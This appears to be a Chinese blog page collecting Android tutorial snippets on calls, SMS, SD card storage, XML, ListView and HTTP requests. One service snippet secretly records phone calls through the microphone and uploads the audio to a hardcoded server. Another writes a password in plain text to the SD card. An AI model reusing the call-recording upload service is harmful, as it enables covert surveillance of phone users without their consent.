android小知识点代码片段

  • 1 拨打电话的操作 播打电话号码
  •     Intent intent = new Intent();
        intent.setAction(Intent.ACTION_CALL);
        intent.setData(Uri.parse("tel:"+number));
        startActivity(intent);
    
  • 2 发送短信的操作 短信过长时 拆分短信 一条短信最大的文本长度 是多少 ? 中文 70 汉字 英文 160字符
       SmsManager smsmanager = SmsManager.getDefault();
        /*
        *sentIntent, deliveryIntent延期的意图 ,
        *sentintent 发送报告
        *deliveryIntent 送达报告
        */
    
        ArrayList<String> messages = smsmanager.divideMessage(content);
        for(String message : messages){
            smsmanager.sendTextMessage(number, null, message, null, null);
        }
    
  • 3.检测sd卡状态,并往sd卡中写数据。需要权限
  •    //MEDIA_UNKNOWN:不能识别sd卡
        //MEDIA_REMOVED:没有sd卡
        //MEDIA_UNMOUNTED:sd卡存在但是没有挂载
        //MEDIA_CHECKING:sd卡正在准备
        //MEDIA_MOUNTED:sd卡已经挂载,可用
    
        if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
            //返回一个File对象,其路径是sd卡的真实路径
            File file = new File(Environment.getExternalStorageDirectory(), "info.txt");
            FileOutputStream fos;
            try {
                fos = new FileOutputStream(file);
                fos.write((name + "##" + pass).getBytes());
                fos.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        else{
            Toast.makeText(this, "sd卡不可用哟亲么么哒", 0).show();
        }
    }
    
  • 4.判断sd卡剩余容量。
    File path = Environment.getExternalStorageDirectory();
    StatFs stat = new StatFs(path.getPath());
    long blockSize;
    long totalBlocks;
    long availableBlocks;
    
    //获取当前系统版本的等级
    if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){       //4.3版本后开始起作用
         blockSize = stat.getBlockSizeLong();
         totalBlocks = stat.getBlockCountLong();
         availableBlocks = stat.getAvailableBlocksLong();
    } else{                                                                                                                    //否则使用旧的api
        blockSize = stat.getBlockSize();
        totalBlocks = stat.getBlockCount();
        availableBlocks = stat.getAvailableBlocks();
    }
    
    TextView tv = (TextView) findViewById(R.id.tv);
    tv.setText(formatSize(availableBlocks * blockSize));
    
  • 5使用xml序列化器生成xml文件
  • //1.拿到序列化器对象
    XmlSerializer xs = Xml.newSerializer();
    //2.初始化
    File file = new File("sdcard/sms2.xml");
    try {
        FileOutputStream fos = new FileOutputStream(file);
        //enconding:指定用什么编码生成xml文件
        xs.setOutput(fos, "utf-8");
    
        //3.开始生成xml文件
        //enconding:指定头结点中的enconding属性的值
        xs.startDocument("utf-8", true);
    
        xs.startTag(null, "message");
    
        for (Message sms : smsList) {
            xs.startTag(null, "sms");
    
            xs.startTag(null, "body");
            xs.text(sms.getBody() + "<body>");
            xs.endTag(null, "body");
    
            xs.startTag(null, "date");
            xs.text(sms.getDate());
            xs.endTag(null, "date");
    
            xs.startTag(null, "type");
            xs.text(sms.getType());
            xs.endTag(null, "type");
    
            xs.startTag(null, "address");
            xs.text(sms.getAddress());
            xs.endTag(null, "address");
    
            xs.endTag(null, "sms");
        }
        xs.endTag(null, "message");
        //告诉序列化器,文件生成完毕
        xs.endDocument();
    } catch (Exception e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
    
  • 6.解析xml文件
  •  //获取到src文件夹下的资源文件
    InputStream is = getClassLoader().getResourceAsStream("weather.xml");
    
    //拿到pull解析器对象
    XmlPullParser xp = Xml.newPullParser();
    //初始化
    try {
        xp.setInput(is, "gbk");
    
        //获取当前节点的事件类型,通过事件类型的判断,我们可以知道当前节点是什么节点,从而确定我们应该做什么操作
        int type = xp.getEventType();
        City city = null;
        while(type != XmlPullParser.END_DOCUMENT){
            //根据节点的类型,要做不同的操作
            switch (type) {
            case XmlPullParser.START_TAG:
                //                    获取当前节点的名字
                if("weather".equals(xp.getName())){
                    //创建city集合对象,用于存放city的javabean
                    cityList = new ArrayList<City>();
                }
                else if("city".equals(xp.getName())){
                    //创建city的javabean对象
                    city = new City();
                }
                else if("name".equals(xp.getName())){
                    // 获取当前节点的下一个节点的文本
                    String name = xp.nextText();
                    city.setName(name);
                }
                else if("temp".equals(xp.getName())){
                    // 获取当前节点的下一个节点的文本
                }
                else if("pm".equals(xp.getName())){
                    // 获取当前节点的下一个节点的文本
                }
                break;
            case XmlPullParser.END_TAG:
                if("city".equals(xp.getName())){
                }
                break;
            }
            //把指针移动到下一个节点,并返回该节点的事件类型
            type = xp.next();
        }
    
    } catch (Exception e) {
        e.printStackTrace();
    }
    
  • 7 listview优化
       1)复用convertView
            View v = null;
            //判断条目是否有缓存
            if(convertView == null){
                //把布局文件填充成一个View对象
                v = View.inflate(MainActivity.this, R.layout.item_listview, null);
            }else{
                v = convertView;
            }
    
      2)利用viewHolder,返回一个View对象,作为listview的条目显示至界面
        public View getView(int position, View convertView, ViewGroup parent) {
            News news = newsList.get(position);
            View v = null;
            ViewHolder mHolder;
            if(convertView == null){
                v = View.inflate(MainActivity.this, R.layout.item_listview, null);
                mHolder = new ViewHolder();
                //把布局文件中所有组件的对象封装至ViewHolder对象中
                mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title);
                mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail);
                mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment);
                mHolder.siv = (SmartImageView) v.findViewById(R.id.iv);
                //把ViewHolder对象封装至View对象中
                v.setTag(mHolder);
            }else{
                v = convertView;
                mHolder = (ViewHolder) v.getTag();
            }
            //给三个文本框设置内容
            mHolder.tv_title.setText(news.getTitle());
            mHolder.tv_detail.setText(news.getDetail());
            mHolder.tv_comment.setText(news.getComment() + "条评论");
            //给新闻图片imageview设置内容
            mHolder.siv.setImageUrl(news.getImageUrl());
            return v;
        }
    
        class ViewHolder{
            //条目的布局文件中有什么组件,这里就定义什么属性
            TextView tv_title;
            TextView tv_detail;
            TextView tv_comment;
            SmartImageView siv;
        }
    
  • 8 junit 测试框架的使用
        1)在manifest中添加上下列代码
        <instrumentation
        android:name="android.test.InstrumentationTestRunner"
        android:targetPackage="自己程序的包名" />
    
        2)在application下添加以下代码
        <uses-library android:name="android.test.runner" />
    
        3)创建测试类继承AndroidTestCase类
    
        4)编写测试方法
    
  • 10 采用get方式提交数据 原理:拼装url
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    
        conn.setRequestMethod("GET");
        conn.setReadTimeout(5000);
        // 数据并没有发送给服务器
        // 获取服务器返回的流信息
        InputStream is = conn.getInputStream();
    
  • 11 提交中文时会产生乱码问题
  •   1)服务器端问题 Tomcat 默认编码为iso8859-1  而提交的数据编码为utf-8
       处理方法:服务器端onPost方法中
        Sring name=request.getParameter("name");
        if(name!=null){
            name=new String(name.getBytes("iso8859-1"),"utf-8");
        }
    
      2)安卓端的问题 提交的url中文要编码
       解决办法
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
    
  • 12 采用post方法提交数据
        1)get 一次提交的数据数据量比较小 4K 内部其实通过组拼url的方式
           post 可以提交比较大的数据 form表单的形式 流的方式写到服务器
    
        public static String sendDataByPost(String path, String name,String password) throws Exception {
    
            String param1 = URLEncoder.encode(name);
            String param2 = URLEncoder.encode(password);
            URL url = new URL(path);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    
            String data = "name=" + param1 + "&password=" + param2;
    
            conn.setRequestMethod("POST");
            conn.setConnectTimeout(5000);
            // 设置 http协议可以向服务器写数据
            conn.setDoOutput(true);
            // 设置http协议的消息头 设置提交的数据类型为表单类型
            conn.setRequestProperty("Content-Type",
                    "application/x-www-form-urlencoded");
            conn.setRequestProperty("Content-Length", data.length() + "");
            // 把我们准备好的data数据写给服务器
    
            OutputStream os = conn.getOutputStream();
            os.write(data.getBytes());
            // httpurlconnection 底层实现 outputstream 是一个缓冲输出流
            // 只要我们获取任何一个服务器返回的信息 , 数据就会被提交给服务器 , 得到服务器返回的流信息
            int code = conn.getResponseCode();
    
            if (code == 200) {
                InputStream is = conn.getInputStream();
                byte[] result = StreamTool.getBytes(is);
                return new String(result);
            } else {
                throw new IllegalStateException("服务器状态异常");
            }
        }
    
        2)处理中文 乱码
            String param1 = URLEncoder.encode(name);
            String param2 = URLEncoder.encode(password);
            URL url = new URL(path);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            String data = "name=" + param1 + "&password=" + param2;
    
  • 13 由于面向http协议提交数据很麻烦,所以gogole提供了一套简单api httpclient来模拟浏览器 使用httpclient get方式提交数据
        /**
         * httpclient 浏览器的简单包装
         * new HttpClient 就相当于得到了一个浏览器
         */
        public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{
    
            //1. 获取到一个浏览器的实例
            HttpClient client = new DefaultHttpClient();
            //2. 准备请求的地址
            String param1 = URLEncoder.encode(name);
            String param2 = URLEncoder.encode(password);
            HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2);
    
            //3. 发请求
            HttpResponse  ressponse = client.execute(httpGet);
            int code = ressponse.getStatusLine().getStatusCode();
            if(code == 200){
                InputStream is  =ressponse.getEntity().getContent();
                byte[] result = StreamTool.getBytes(is);
                return new String(result);
            }
            else{
                throw new IllegalStateException("服务器状态异常");
            }
        }
    
  • 14 采用httpclient post方式提交数据
    public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{
        //1. 获取到一个浏览器的实例
        HttpClient client = new DefaultHttpClient();
        //2. 准备要请求的 数据类型
        HttpPost httppost = new HttpPost(path);
    
        // 键值对
        List< NameValuePair> parameters = new ArrayList<NameValuePair>();
        parameters.add(new BasicNameValuePair("name", name));
        parameters.add(new BasicNameValuePair("password", password));
    
        UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8");
    
        //3.设置post请求的数据实体
        httppost.setEntity(entity);
    
        //4. 发送数据给服务器
        HttpResponse  ressponse = client.execute(httppost);
        int code = ressponse.getStatusLine().getStatusCode();
        if(code == 200){
            InputStream is  =ressponse.getEntity().getContent();
            byte[] result = StreamTool.getBytes(is);
            return new String(result);
        }
        else{
            throw new IllegalStateException("服务器状态异常");
        }
    }
    
  • 15 短信监听器获取短信的操作在onreceive方法中
         // intent 存放的有接收到的短信的内容
        Object[] pdus =  (Object[]) intent.getExtras().get("pdus");
        for(Object pdu:pdus){
    
            SmsMessage message  = SmsMessage.createFromPdu((byte[])pdu);
            // 获取短信的正文内容
            final String content = message.getMessageBody();
            //获取短信的发送者
            final String address = message.getOriginatingAddress();
    
  • 16 四大组件service的使用 服务是运行在主线程中的。 AndroidManifest中配置组件
    启动服务 :
    Intent intent = new Intent(this,PhoneListenService.class);
    startService(intent);
    
    1 在服务里实现电话监听
    权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>            监听电话状态
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>          监听sd卡状态
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>             写外部存储设备
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>                       录音 使用mic
    <uses-permission android:name="android.permission.INTERNET"/>                           访问互联网
    public class PhoneListenService extends Service {
    
        public IBinder onBind(Intent intent) {
            return null;
        }
    
         //2. onCreate方法在服务第一次被创建的时候 执行
        public void onCreate() {
            super.onCreate();
            setForeground(true); //提升为前台进程
    
            // 1. 判断当前手机的状态,
            // 如果发现手机处于 通话状态
            // 创建一个录音器, 录下来用户的通话信息
            // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
            // 得到手机与电话状态相关的服务
            TelephonyManager manager = (TelephonyManager) this
                    .getSystemService(TELEPHONY_SERVICE);
            //监听电话状态
            manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);
    
        }
    
        private class MyPhoneListener extends PhoneStateListener {
            MediaRecorder recorder = null;
            /**
             *当电话的通话状态发生改变的时候 被调用的方法
             */
            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                try {
                    switch (state) {
                    case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
                        System.out.println("当前电话处于闲置状态 ");
    
                        // 判断下recorder是否为空
                        if(recorder!=null){
                            recorder.stop();
                            recorder.release(); // Now the object cannot be reused
                            recorder = null;
    
                            new Thread(){
    
                                @Override
                                public void run() {
                                    // 上传数据到服务器  演示的代码  有问题的
                                    File file = new File("/sdcard/temp.3gp");
                                    try {
                                        upload(file);
                                    } catch (Exception e) {
                                        e.printStackTrace();
                                    }
                                }
                            }.start();
                        }
                        break;
                    case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态
                        System.out.println("电话号码为 " + incomingNumber);
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
                        System.out.println("当前电话处于通话状态 ");
                        // 初始化一个录音器,
                        recorder = new MediaRecorder();
                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                        recorder.setOutputFile("/sdcard/temp.3gp");
                        recorder.prepare();
                        recorder.start();   // Recording is now started
                        break;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
    
                super.onCallStateChanged(state, incomingNumber);
            }
    
        }
    
        public void upload(File file) throws Exception{
            // 实例化上传数据的 数组  part []
            Part[] parts = {
                      new FilePart("file",file)};
    
            PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");
    
            filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
            org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
            client.getHttpConnectionManager().getParams()
              .setConnectionTimeout(5000);
            int status = client.executeMethod(filePost);
            if(status==200){
    
                System.out.println("上传成功");
            }
            else{
                throw new IllegalStateException("服务器状态异常");
            }
    
        }
    
    }
    
  • 13service的生命周期
  • oncreate()   服务创建时候调用的方法
    onstart()    服务开启时候调用的方法
    ondestroy()  服务停止时候调用的方法
    
    两种服务开启方式
    1)通过startservice()开始服务 StopService()结束服务。
    2)绑定方式
    参数 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 绑定的时候服务不存在的时候会自动创建
    bindService(service,conn,flags);
    unBindService
    
时间: 2024-07-30 13:42:37

android小知识点代码片段的相关文章

android 小知识点

小知识点总结 1. android中MotionEvent.ACTION_CANCEL事件如何被触发? 对于这个问题,android文档的说明很简短,想看明白很难.国外一网页说的还比较详细,写在这里分享给大家: 原文是这样的: You receive this when a parent takes possession of the motion, for example when the user has dragged enough across a list view or scroll

微信小程序代码片段

微信小程序代码片段是一种可分享的小项目,可用于分享小程序和小游戏的开发经验.展示组件和 API 的使用.复现开发问题等等.分享代码片段会得到一个链接,所有拥有此分享链接的人可以在工具中导入此代码片段.如果网页可点击的链接指向的是分享链接,那么点击链接也会自动打开工具进入代码片段导入页. 创建代码片段 在工具选择项目的界面中,右侧可以选择代码片段页卡,查看所有本地代码片段,在右下角可以点击创建代码片段. 创建代码片段需要填入代码片段名称.本地存放目录.AppID 不是必填项,如果需要演示依赖 Ap

收集的35个 jQuery 小技巧/代码片段,可以帮你快速开发.

1. 禁止右键点击 $(document).ready(function(){     $(document).bind("contextmenu",function(e){         return false;     }); }); 2. 隐藏搜索文本框文字 Hide when clicked in the search field, the value.(example can be found below in the comment fields) $(document

Android开发常用代码片段

拨打电话 public static void call(Context context, String phoneNumber) { context.startActivity( new Intent(Intent.ACTION_CALL, Uri.parse( "tel:" + phoneNumber))); } 跳转至拨号界面 public static void callDial(Context context, String phoneNumber) { context.st

Android小知识点20条

转载博客:http://blog.csdn.net/dengshengjin2234/article/category/1322773 1. Android中常用的几种布局,LinearLayout.RelativeLayout.FrameLayout和GridLayout.AbsoluteLayout已废弃. 2. Android  XML解析主要有三种方式,包括SAX .DOM .PULL. 3. activity的启动模式有standard .singleTop.singleTask和si

Android小知识点总结

一.Android开发的基本知识 1.Android app name的设置:默认为启动项Activity的android:label指定的值,如果没有则为Application的andriod:label指定的值(在AndroidMainfest.xml文件中): 2.TextView android:textSize默认大小为14 单位为sp: 3.ImageView 的android:tint属性可改变图片的颜色:

微信小程序代码片段分享

Thor UI组件库,微信小程序源码分享 原文地址:https://blog.51cto.com/12418608/2409634

Android课程---Android Studio使用小技巧:提取方法代码片段

这篇文章主要介绍了Android Studio使用小技巧:提取方法代码片段,本文分享了一个快速复制粘贴方法代码片段的小技巧,并用GIF图演示,需要的朋友可以参考下 今天来给大家介绍一个非常有用的Studio Tips,有些时候我们在一个方法内部写了过多的代码,然后想要把一些代码提取出来再放在一个单独的方法里,通常我们的做法是复制粘贴,现在我来教给大家一个非常简洁的方法,先看下gif演示吧:

android有用代码片段(一)

有时候,需要一些小的功能,找到以后,就把它贴到了博客下面,作为留言,查找起来很不方便,所以就整理一下,方便自己和他人. 一.  获取系统版本号: PackageInfo info = this.getPackageManager().getPackageInfo(this.getPackageName(), 0); int versionCode=nfo.versionCode string versionName=info.versionNam 二.获取系统信息: <span style=&quo